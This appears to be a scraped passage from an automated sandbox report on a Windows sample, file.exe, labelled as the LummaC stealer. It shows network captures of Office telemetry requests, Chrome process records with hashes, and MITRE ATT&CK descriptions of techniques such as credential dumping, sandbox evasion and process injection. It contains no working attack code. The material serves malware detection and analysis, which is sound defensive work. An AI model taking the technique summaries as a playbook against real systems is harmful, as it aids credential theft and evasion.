2024-11-16 19:13:20 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49974	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:20 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:20 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:20 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 18d5585a-801e-0015-2dfc-35f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191320Z-16547b76f7fr5rfnhC1DFW0am400000000sg000000003qy2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:20 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49975	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:20 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:20 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: a0c7144d-101e-007a-2509-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191320Z-1866b5c5fbbtpjhjhC1DFWr6tw000000035g000000008qvc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:20 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49976	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:20 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:20 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: ecab8261-801e-00a3-2dbb-377cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191320Z-16547b76f7f7zzl8hC1DFWmtag000000024g0000000079p1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:20 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Target ID:	0
Start time:	14:12:06
Start date:	16/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xb60000
File size:	1'886'720 bytes
MD5 hash:	F9A9E7845B395F013B6CA1D888749674
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:12:42
Start date:	16/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	14:12:42
Start date:	16/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1976,i,14280019992165934311,3972087755175190849,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	14:12:45
Start date:	16/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:12:45
Start date:	16/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=852 --field-trial-handle=2024,i,6837492057727512573,15920123878915027554,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 132

Chrome Cache Entry: 133

Chrome Cache Entry: 134

Chrome Cache Entry: 135

Chrome Cache Entry: 136

Chrome Cache Entry: 137

Chrome Cache Entry: 138

Chrome Cache Entry: 139

Chrome Cache Entry: 140

Chrome Cache Entry: 141

Chrome Cache Entry: 142

Chrome Cache Entry: 143

Chrome Cache Entry: 144

Windows Analysis Report
file.exe